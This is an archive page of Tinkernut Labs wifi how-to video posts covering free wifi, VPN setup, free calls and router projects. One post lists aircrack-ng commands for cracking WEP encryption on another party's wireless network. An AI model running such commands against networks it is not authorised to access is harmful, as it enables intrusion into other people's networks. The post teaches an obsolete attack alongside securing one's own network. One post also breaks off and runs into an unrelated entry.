Tinkernut Labs

  • How To Find Free Wifi

    November 2, 2013 // davisde // DIY Projects Tags: available, find, free, router, virtual, wi-fi, wifi, wireless 1 Response

    This video shows you some common tips for never being wifi-less again!

     

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    This video shows you some common tips for never being wifi-less again!


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    Websites and apps for finding free wifi

    • JiWire
    • inSSIDer
    • iPhone Hack
    • Virtual Router Software

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  • Make Your Own Private Interwebz!

    August 18, 2012 // davisde // All Projects, Safety & Security Tags: business, desktop, guide, hackers, Hacks, home, how, laptop, network, networking, private, protection, safe, secure, server, tinkernut, tips, to, tricks, tutorial, virtual, vpn, wifi, wireless, work 11 Responses

    Stay secure on public wireless networks by making your own FREE virtual private network (VPN). This tutorial shows you how to set up an OpenVPN server and connect to it from your laptop.

    Links used in this video:
    http://www.openvpn.net
    http://tinkernut.com/wiki/page/Episode_328

  • Make Free Calls With Your Smartphone

    July 13, 2011 // davisde // Hacks Tags: android, calls, cell, cellular, data, droid, free, google, mobile, phone, save, send, sipgate, smartphone, verizon, voice, wifi 30 Responses




    If you have a smartphone, you no longer need to pay for data AND voice minutes. This video will show you how to make calls for free using Google Voice.

    http://voice.google.com
    http://www.sipgate.com
    http://www.voxox.com
    http://www.ipkall.com
    http://www.appbrain.com/app/sipdroid/org.sipdroid.sipua
    http://www.cyrket.com/p/android/com.xinlu.gvdial/

    Instructions for iPhone:
    http://www.hutsby.net/2010/02/howto-iphone-sip-isipsimple-and-sipgate.html

    Proxy Instructions:




    In this episode, I will show you how to create a cheap WiFi radio for under $50.

    Downloads
    Firmware direct download – http://wiki.openwrt.org/toh/asus/wl520gu
    Asus Restoration Utility – http://www.tinkernut.com/demos/253_wifi_radio/wl520.zip
    Putty – http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
    Ario MPD client – http://sourceforge.net/projects/ario-player/files/
    GTK+ for Windows – http://gtk-win.sourceforge.net/home/index.php/en/Downloads

    Parts Needed:
    Asus WL-520GU – http://www.amazon.com/Asus-WL-520GU-ASUS-Wireless-Router/dp/B000R3BTDC
    USB Sound – http://www.amazon.com/External-Channel-Sound-Adapter-Notebook/dp/B000N35A0Y

    Links:
    MPC Commands – http://linux.die.net/man/1/mpc
    MPD Clients – http://mpd.wikia.com/wiki/Clients

    Reference Sites:
    OpenWRT – http://www.openwrt.org
    MightyOhm – http://mightyohm.com

  • Boost Your Wireless Using An Old Router

    August 23, 2010 // davisde // Web Tips Tags: asus, router, tips, tricks, tutorial, wifi, wireless 2 Responses






    In this episode, I will show you how to use an old router into a wireless repeater that boosts your wireless signal extra far.

    Ubuntu Live CD
    Supported routers
    Windows Installation Guide
    Official guide

  • How To Hack Wireless

    January 27, 2010 // davisde // Hacks, Web Tips Tags: free, hack, hackers, hacking, linux, protect, protection, steal, tinkernut, tips, tricks, tutorial, wi-fi, wifi, wireless 51 Responses

    This video shows one method of hacking a wireless WEP connection and gives you some tips on how to better secure your wireless.

    WEBSITES:
    http://www.backtrack-linux.org
    http://www.imgburn.com

    TERMINAL COMMANDS:
    Startx
    /etc/init.d/networking start
    airmon-ng
    airmon-ng stop [wireless card name]
    airmon-ng start [wireless card name]
    airmon-ng
    airodump-ng [wireless card name]
    ctrl c
    airodump-ng w wep c [channel number] bssid [Bssid number] [wireless card name]
    aireplay-ng -1 0 a [bssid] [wireless card name]
    aireplay-ng -3 b [bssid][wireless card name]
    ctrl + c
    dir
    aircrack-ng [filename]

  • How To Set Up A Wireless Network

    July 28, 2008 // davisde // Computer Hardware, Video Tags: diy, how, internet, network, router, set, to, up, wifi, wireless 4 Responses

    This tutorial walks you through the basics of setting up a wireless tutorial.